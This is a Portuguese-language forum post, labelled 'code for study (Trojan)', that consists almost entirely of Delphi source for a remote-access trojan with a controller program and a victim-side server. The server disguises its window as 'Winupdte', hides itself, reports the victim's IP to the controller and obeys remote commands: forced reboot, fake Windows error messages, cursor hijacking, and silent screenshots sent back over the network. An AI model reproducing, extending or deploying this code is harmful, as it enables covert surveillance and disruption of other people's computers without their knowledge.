Fórum Código para estudo (Trojan) #281475

unit UCli;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ScktComp, Buttons, ComCtrls, ExtCtrls, jpeg, Psock,
  NMSTRM, Gauges;

type
  TForm1 = class(TForm)
    cs: TClientSocket;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Edit1: TEdit;
    Button1: TButton;
    GroupBox3: TGroupBox;
    Memo1: TMemo;
    GroupBox4: TGroupBox;
    Edit3: TEdit;
    Label2: TLabel;
    SpeedButton1: TSpeedButton;
    ss: TServerSocket;
    Button2: TButton;
    nmsv: TNMStrmServ;
    Image2: TImage;
    Image1: TImage;
    Label3: TLabel;
    procedure SpeedButton1Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormActivate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure csConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure csDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure csError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure nmsvMSG(Sender: TComponent; const sFrom: String;
      strm: TStream);
    procedure ssClientConnect(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Comando: integer;
  str: TFileStream;
  arquivo: String;

implementation



{$R *.dfm}

procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
  if edit3.Text=´´ then
    begin
      showmessage (´Ip...´);
      edit3.setfocus;
    end
  else
    begin
      cs.Address:=edit3.Text;
      cs.Active:=true;
    end;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  cs.Active:=false;
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
  edit3.SetFocus;
  ss.Active:=true;
  ss.Open;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if image1.Visible=false then
    begin
      showmessage (´Nao conetado ao cliente...´);
      edit3.SetFocus;
    end
  else
    if edit1.Text=´´ then
     begin
       showmessage (´Qual comando?´);
       edit1.SetFocus;
     end
   else
      cs.Socket.SendText(edit1.text);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if ss.Active=true then
     begin
       ss.Active:=false;
       button2.Caption:=´Open Sock´;
     end
   else
     begin
       ss.Active:=true;
       button2.Caption:=´Close Sock´;
     end;

end;

procedure TForm1.csConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  image1.Visible:=true;
  image2.Visible:=false;
end;

procedure TForm1.csDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
    image1.Visible:=false;
    image2.Visible:=true;
end;

procedure TForm1.csError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  image1.Visible:=false;
  image2.Visible:=true;
end;

procedure TForm1.ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
  edit3.Text:=socket.ReceiveText;
end;

procedure TForm1.nmsvMSG(Sender: TComponent; const sFrom: String;
  strm: TStream);
begin
   arquivo:=(´c:\print.jpg´);
   Str:=TFileStream.Create(arquivo, fmCreate);
  try
    Str.CopyFrom(strm, strm.size);
  finally
    Str.Free;
  end;  

end;

procedure TForm1.ssClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
   label3.Caption:=´Conectado...´;
end;

end.

unit Usrv;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp,MMSystem, ExtCtrls,winsock,jpeg, Psock, NMSTRM;

type
  TForm1 = class(TForm)
    ss: TServerSocket;
    cs: TClientSocket;
    Timer2: TTimer;
    nmcl: TNMStrm;
    Timer1: TTimer;
    procedure ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormActivate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure hid;
    procedure FormCreate(Sender: TObject);
    function pegaip:string;
    procedure Timer2Timer(Sender: TObject);
    procedure mousepos;
    procedure PegaScreenShot(x, y, Width, Height: Integer; FileName: String);
    procedure enviar;
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }

  end;

var
  Form1: TForm1;
  cmd: string;
  bm: TImage;
  str: TFileStream;

implementation


{$R *.dfm}
procedure tform1.hid;
var H : HWnd;
begin
  H := FindWindow(Nil,´Winupdte´);
  if H <> 0 then
    ShowWindow(H,SW_HIDE);
end;

function tform1.pegaip:string;
type
  TaPInAddr = array [0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe  : PHostEnt;
  pptr : PaPInAddr;
  Buffer : array [0..63] of char;
  I    : Integer;
  GInitData      : TWSADATA;
begin
  WSAStartup($101, GInitData);
  Result := ´´;
  GetHostName(Buffer, SizeOf(Buffer));
  phe :=GetHostByName(buffer);
  if phe = nil then
    begin
     Exit;
    end;
  pptr := PaPInAddr(Phe^.h_addr_list);
  I := 0;
  while pptr^[I] <> nil do
    begin
      result:=StrPas(inet_ntoa(pptr^[I]^));
      Inc(I);
    end;
  WSACleanup;
end;

procedure tform1.mousepos;
begin
  setcursorpos(0,0);
end;

procedure TForm1.PegaScreenShot(x, y, Width, Height: Integer; FileName: String);
var
    dc: HDC; lpPal : PLOGPALETTE;
    Jpg: TJpegImage;
  begin
    bm := TImage.Create(Form1);
    if ((Width = 0) OR (Height = 0)) then exit;
    bm.Picture.Bitmap.Width := Width;
    bm.Picture.Bitmap.Height := Height;
    dc := GetDc(0);
    if (dc = 0) then exit;
    if (GetDeviceCaps(dc, RASTERCAPS) AND
        RC_PALETTE = RC_PALETTE) then
        begin
          GetMem(lpPal, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY)));
          FillChar(lpPal^, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY)), #0);
          lpPal^.palVersion := $300;
          lpPal^.palNumEntries := GetSystemPaletteEntries(dc,0,256,lpPal^.palPalEntry);
          if (lpPal^.PalNumEntries <> 0) then
              BM.Picture.Bitmap.Palette := CreatePalette(lpPal^);
          FreeMem(lpPal, sizeof(TLOGPALETTE) + (255 * sizeof(TPALETTEENTRY)));
       end;
       BitBlt(BM.Picture.Bitmap.Canvas.Handle, 0, 0, Width, Height, Dc, x, y, SRCCOPY);
       if FileExists(FileName) then
          DeleteFile(FileName);
       BM.Picture.Bitmap.SaveToFile(FileName);
       ReleaseDc(0, dc);
       Jpg:= TJpegImage.Create;
       jpg.assign(BM.Picture.Bitmap);
       Jpg.SaveToFile(´C:\photo.jpg´);
       deletefile(´C:\photo.bmp´);
       Jpg.Free;
end;
procedure tform1.enviar;
var
 arquivo: string;
begin
   arquivo:=(´c:\photo.jpg´);
   str:=TfileStream.Create(arquivo,fmOpenRead);
   try
      nmcl.PostIt(str);
    finally
      str.Free;
   end;

end;

procedure TForm1.ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
begin
  cmd:=Socket.ReceiveText;
  if cmd=´1´ then
     ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0)
  else
    if cmd=´2´ then
      mciSendString(´Set cdaudio door open wait´, nil, 0, handle)
  else
    if cmd=´3´ then
      mciSendString(´Set cdaudio door closed wait´, nil, 0, handle)
  else
    if cmd=´4.1´ then
      Application.MessageBox(´O Windows detectou queda de desempenho devido ao antivirus!´,´Fatal Error´, mb_OK + 16)
  else
    if cmd=´4.2´ then
      Application.MessageBox(´O Sistema esta com baixa memoria virtual, talvez seja necessario finalizar processos.´,´Memory Error´, mb_OK + 16)
  else
    if cmd=´4.3´ then
      Application.MessageBox(´Foram causados danos irreparaveis ao sistema! Todos os dados nao salvos serao perdidos.´,´Windows Fatal Error´, mb_OK + 16)
  else
    if cmd=´4.4´ then
      Application.MessageBox(´Eu sou Foda e voce é um(a) idiota, apenas confirme.´,´Voce é Corno(a)´, mb_OK + 16)
  else
    if cmd=´5´ then
      mousepos
  else
    if cmd=´6´ then
       begin
         PegaScreenShot(0, 0, Screen.Width, Screen.height, ´C:\photo.bmp´);
         enviar;
       end
  else
    if cmd=´7´ then
       timer2.Enabled:=true;

end;

procedure TForm1.FormActivate(Sender: TObject);
begin
  hid;
  ss.Active:=true;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  ss.Active:=false;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  top:=-1000;
  timer1.Enabled:=true;
  timer2.Enabled:=true;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
  cs.Socket.SendText(pegaip);
  timer2.Enabled:=false;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  cs.Active:=true;
  timer1.Enabled:=false;
end;

end.